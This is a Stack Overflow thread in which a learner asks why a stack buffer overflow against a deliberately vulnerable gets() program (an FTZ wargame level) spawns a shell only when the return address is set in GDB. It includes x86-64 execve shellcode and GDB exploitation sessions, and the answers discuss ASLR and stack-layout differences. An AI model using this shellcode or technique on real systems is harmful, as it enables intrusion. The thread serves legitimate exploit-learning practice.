0

If I modify return address directly with GDB, buffer overflow success and I can get shell. However when I don't use GDB, I can't get shell with same shell code. I can't find any difference between them.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
    char str[256];
    char *ptr;
    int a;

    printf("문장을 입력하세요.\n");
    gets(str);
    printf("%s\n", str);
}

Above is my victim program 'ftz_level12'.

"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

If I use gdb's set instruction, I can get shell like this

(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12 
문장을 입력하세요.
hello

Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp            0x7fffffffe480   0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$

If I don't use set instruction I can't get shell

(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]

Above is shell code which I used. I'm using ubuntu 16.04 and x64 architecture

Damotorie
  • 586
  • 7
  • 25
  • 2
    You should read this http://stackoverflow.com/a/17775966/1585121 –  Sep 19 '16 at 07:36
  • I read that link. I think it is really useful. But after reading it, I think it's little bit strange. Actually It doesn't run well on gdb too. If I designate return address with gdb's set instruction, I can get shell. If I don't use it than I can't get shell even if I use gdb. – Damotorie Sep 19 '16 at 08:04
  • What do you mean by "I can get shell"? –  Sep 19 '16 at 08:09
  • I'm not good at english. I added what ' I can get shell ' in question – Damotorie Sep 19 '16 at 08:39

1 Answers1

0

I can't find any difference between them.

GDB by default disables address space randomization. You can re-enable it with (gdb) set disable-randomization off.

https://stackoverflow.com/a/17775333

Update:

I shut down aslr protection by /proc/sys/kernel/randomize_va_space=0

That's pretty equivalent to setting disable-randomization off in GDB.

As the other answer mentions, you also need to arrange the stack layout inside and outside of GDB to be close enough.

One difference that could be relevant is that GDB always invokes the program by its full path. Try running in outside GDB like so:

/home/knight/bof_prac/ftz_level12 < code
Community
  • 1
  • 1
Employed Russian
  • 199,314
  • 34
  • 295
  • 362
  • I shut down aslr protection by /proc/sys/kernel/randomize_va_space=0. I think set disable-randomization off is as same as /proc/sys/kernel/randomize_va_space. Did I misunderstand?? – Damotorie Sep 21 '16 at 00:18
  • I tried /home/knight/bof_prac/ftz_level12 < code but It still print segment fault – Damotorie Sep 24 '16 at 04:19